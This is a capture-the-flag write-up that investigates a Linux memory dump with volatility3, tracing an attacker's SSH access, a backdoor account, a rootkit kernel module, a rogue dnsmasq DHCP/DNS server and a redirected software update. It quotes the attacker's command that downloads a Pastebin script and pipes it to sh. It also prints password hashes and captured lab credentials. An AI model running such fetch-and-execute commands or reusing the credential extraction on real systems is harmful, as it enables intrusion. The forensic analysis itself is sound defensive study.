Contents

Contents

Holmes CTF - The Tunnel Without Walls

Contents

Challenge description: A memory dump from a connected Linux machine reveals covert network connections, fake services, and unusual redirects. Holmes investigates further to uncover how the attacker is manipulating the entire network!

Difficulty: hard

Question

What is the Linux kernel version of the provided image? (string)

First, let’s find the kernel version:

strings memdump.mem | grep "Linux version" | uniq | sort

Linux version 5.10.0-35-amd64 ([email protected]) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.237-1 (2025-05-19)

The version is 5.10.0-35-amd64. Otherwise, we could have find the kernel version with the banners.bannersvolatility3 plugin.

Answer

5.10.0-35-amd64

For beeing able to use volatility3 on a Linux image, we should build our own profile with de debugging symbols. For our memory image, the version is 5.10.0-35-amd64. Let’s find the appropriate package in order to build the profile. For Debian, it’s here. As we can see with the previous question, the versions we are looking for are 5.10.0-35-amd64and 5.10.237-1.

The right Google Dork to do is: "linux-image-5.10.0-35-amd64-dbg_5.10.237-1_amd64" site:debian.org. Once you know the pattern, you can get many (many) Debian symbols. Then, you can wget the file and install it:

wget http://security.debian.org/debian-security/pool/updates/main/l/linux/linux-image-5.10.0-35-amd64-dbg_5.10.237-1_amd64.deb


sudo apt install ./linux-image-5.10.0-35-amd64-dbg_5.10.237-1_amd64.deb


./dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-35-amd64 > dbg-symbols/linux-image-5.10.0-35-amd64-dbg_5.10.237-1_amd64.json


mv linux-image-5.10.0-35-amd64-dbg_5.10.237-1_amd64.json ~/tools/volatility3/volatility3/symbols/linux/

Optionally, you could get the profil differently. I love this repo for that. Thanks to this guy who gives us a lot of Linux profiles! Let’s add the REMOTE_ISF_URL so the volatility3/framework/constants/init.py file:

sed -i "s|REMOTE_ISF_URL = None  # 'http://localhost:8000/banners.json'|REMOTE_ISF_URL = \"https://raw.githubusercontent.com/leludo84/vol3-linux-profiles/main/banners-isf.json\"|" volatility3/framework/constants/__init__.py

And then you’re ready to go!!

Attention

Beware, I don’t know why but the volatility3 symbols of the repo couldn’t get me as far as I wanted during my investigation. For example, I could not manage to get back the files from the memory. So I built my own profile in a second phase as I did above.

Question

The attacker connected over SSH and executed initial reconnaissance commands. What is the PID of the shell they used? (number)

We can use the linux.bashplugin for the bash history. As we can see on the screen below, we find that the PID 13608 (bash process) executed basic reconnaissance on the host.

We can assume that the PID 13608 is our answer.

Answer

13608

Question

After the initial information gathering, the attacker authenticated as a different user to escalate privileges. Identify and submit that user’s credentials. (user:password)

Still inside the linux.bashoutput we can see the login command line:

So we see a login at 08:18:11. We know that’s a system user so it might be present on the /etc/passwdand /etc/shadowfile. Moreover, we can see that before the su jmcommand, the attacker mounted the /etc/directory (of the host machine) inside the docker on the mountpoint /mnt/. It might indicate that the attacker altered some files inside the /etc/directory (e.g: /etc/passwd).

In order to dump the/etc/shadow and /etc/passwdfile, we need to find their inode number:

I start by dumping all the linux.pagecache.Filesoutput inside a file:

python3 tools/volatility3/vol.py -f HTB/memdump.mem linux.pagecache.Files > output/filescan.txt

Then inside this file we can see the /etc/shadowand /etc/passwdinodes:

0x9b33882a9000 / 8:1 1832530 0x9b33ac036640 REG 1 1 -rw-r----- 2025-09-03 08:20:33.427196 UTC 2025-09-03 08:20:33.419196 UTC 2025-09-03 08:20:33.423196 UTC /etc/shadow 903

Let’s dump it:

python3 tools/volatility3/vol.py -f HTB/memdump.mem linux.pagecache.InodePages --inode 0x9b33ac036640 --dump
cat inode_0x9b33ac036640.dmp

root:$y$j9T$8miOL6M74syg550qAqh99/$tnYwsXUuTDqZt5AipCIfP5uCqfVWKw6CwMTqZx5iVn8:20332:0:99999:7:::
daemon:*:20332:0:99999:7:::
bin:*:20332:0:99999:7:::
sys:*:20332:0:99999:7:::
sync:*:20332:0:99999:7:::
games:*:20332:0:99999:7:::
man:*:20332:0:99999:7:::
lp:*:20332:0:99999:7:::
mail:*:20332:0:99999:7:::
news:*:20332:0:99999:7:::
uucp:*:20332:0:99999:7:::
proxy:*:20332:0:99999:7:::
www-data:*:20332:0:99999:7:::
backup:*:20332:0:99999:7:::
list:*:20332:0:99999:7:::
irc:*:20332:0:99999:7:::
gnats:*:20332:0:99999:7:::
nobody:*:20332:0:99999:7:::
_apt:*:20332:0:99999:7:::
systemd-network:*:20332:0:99999:7:::
systemd-resolve:*:20332:0:99999:7:::
messagebus:*:20332:0:99999:7:::
systemd-timesync:*:20332:0:99999:7:::
sshd:*:20332:0:99999:7:::
werni:$y$j9T$NALDvNDyscDxVlOYFz1VC1$pUjgPUJVgqcHkbn0QZoP8v.Yn4gj08j2PdihrpjF9UA:20332:0:99999:7:::
systemd-coredump:!*:20332::::::
dnsmasq:*:20334:0:99999:7:::

But no evidences of jm user inside the /etc/shadow file.

For the /etc/passwd we can proceed the same way:

python3 tools/volatility3/vol.py -f HTB/memdump.mem linux.pagecache.InodePages --inode 0x9b33ac0378c0 --dump

Bingo, the user’s hash:

jm:$1$jm$poAH2RyJp8ZllyUvIkxxd0:0:0:root:/root:/bin/bash

Let’s put it in a file and run John on it. After 45s it eventually found the password.

Answer

WATSON0

Question

The attacker downloaded and executed code from Pastebin to install a rootkit. What is the full path of the malicious file? (/path/filename.ext)

Inside the linux.bashoutput, we can see this command line:

wget -q -O- https://pastebin.com/raw/hPEBtinX|sh

My first reflex was to check on the Wayback Machine as the link is not working anymore but it did not work. My second reflex was to check on the /tmpdirectory:

Oh! There is a file named default.conf, how convinient! Let’s dump it:

python3 tools/volatility3/vol.py -f HTB/memdump.mem linux.pagecache.InodePages --inode 0x9b33ac030f20 --dump 

A pretty NGINX configuration file. Not useful for now but not for long.

Okay, inside my Volweb instance, we can see a strange module loaded named Nullincrevenge. That’s an odd name to be a module

Let’s seek it

I think we found our suspicious file!

cat output/filescan.txt| grep "Nullincrevenge.ko"


0x9b33882a9000  /       8:1     298762  0x9b3386454a80  REG     135     39      -rw-r--r--      2025-09-03 08:18:44.155080 UTC  2025-09-03 08:18:40.799070 UTC     2025-09-03 08:18:40.799070 UTC  /usr/lib/modules/5.10.0-35-amd64/kernel/lib/Nullincrevenge.ko   551688

So our file lives in /usr/lib/modules/5.10.0-35-amd64/kernel/lib/Nullincrevenge.ko

Answer

/usr/lib/modules/5.10.0-35-amd64/kernel/lib/Nullincrevenge.ko

Question

What is the email account of the alleged author of the malicious file? ([email protected])

Same as before, I dump the Nullincrevenge.ko file:

python3 tools/volatility3/vol.py -f HTB/memdump.mem linux.pagecache.InodePages --inode 0x9b3386454a80 --dump 

And then seek for a email address based on a regex:

Question

The next step in the attack involved issuing commands to modify the network settings and installing a new package. What is the name and PID of the package? (package name,PID)

As we see in the linux.bash, there’s some references to the dnsmasqprogram:

Let’s seek for the dnsmasqPID inside the process tree:

Answer

dnsmasq,38687

Question

Clearly, the attacker’s goal is to impersonate the entire network. One workstation was already tricked and got its new malicious network configuration. What is the workstation’s hostname?

Same as before, I dump the dnsmasq.servicefile:

Nothing to see here except that the dnsmasqpackage can do DHCP server. The attacker might have created a DHCP server and got some clients. Let’s check for the leases inside the /var/lib/misc/dnsmasq.leasesfile (dump it blahblahblah):

Yayyy we got one lease, so we have the victim’s workstation, MAC adresse and hostname!

Answer

Parallax-5-WS-3

Question

After receiving the new malicious network configuration, the user accessed the City of CogWork-1 internal portal from this workstation. What is their username? (string)

For the username, we can admit that there was some HTTP GET or HTTP POST requests upon the internal portal with the password inside. So let’s strings|grep it :)

First, let’s string

strings memdump.mem | grep "POST /.*HTTP/1.*" | sort | uniq

[...]
POST /index.php HTTP/1.1
[...]

Interesting we have many others but this one looks good!

strings memdump.mem | grep "POST /index.php HTTP/1.1" -A 20

POST /index.php HTTP/1.1
Host: 10.129.232.25:8081
Connection: keep-alive
Content-Length: 43
Cache-Control: max-age=0
Origin: http://10.129.232.25:8081
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.129.232.25:8081/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=189b027ab0e5e10f496e57953544cd74
username=mike.sullivan&password=Pizzaaa1%21

And inside the HTTP request we can finally see the username field: username=mike.sullivan&password=Pizzaaa1%21.

For this one, we could have cheese the answer. Let’s guess that the parameter inside the POST request for the username is called username. We could have grep on the pattern username=:

strings memdump.mem | grep "username=" -B 20


POST /index.php HTTP/1.1
Host: 10.129.232.25:8081
Connection: keep-alive
Content-Length: 43
Cache-Control: max-age=0
Origin: http://10.129.232.25:8081
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.129.232.25:8081/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=189b027ab0e5e10f496e57953544cd74
username=mike.sullivan&password=Pizzaaa1%21

And still see the username inside the POST request :)

Answer

mike.sullivan

Question

Finally, the user updated a software to the latest version, as suggested on the internal portal, and fell victim to a supply chain attack. From which Web endpoint was the update downloaded?

By filtering on the IP lease we found earlier we can see this:

We have our web endpoint!

Answer

/win10/update/CogSoftware/AetherDesk-v74-77.exe

Question

To perform this attack, the attacker redirected the original update domain to a malicious one. Identify the original domain and the final redirect IP address and port. (domain,IP:port)

Inside the dnsmasq.conf, we can see a redirection:

Breakdown:

  • DHCP option 3 is the default gateway. This sets the gateway for clients to 192.168.211.8.
  • DHCP option 6 is the DNS server. It tells clients to use 192.168.211.8 for DNS.
  • no-hosts: Ignores /etc/hosts.
  • no-resolv: Ignores /etc/resolv.conf.
  • server=8.8.8.8: Forwards DNS queries to Google DNS (8.8.8.8) if not resolved locally.
  • address=/updates.cogwork-1.net/192.168.211.8: Forces DNS resolution of updates.cogwork-1.net to 192.168.211.8.

So we have our final answer: the redirection is towards 13.62.49.86 on the port 7477.

Answer

updates.cogwork-1.net,13.62.49.86:7477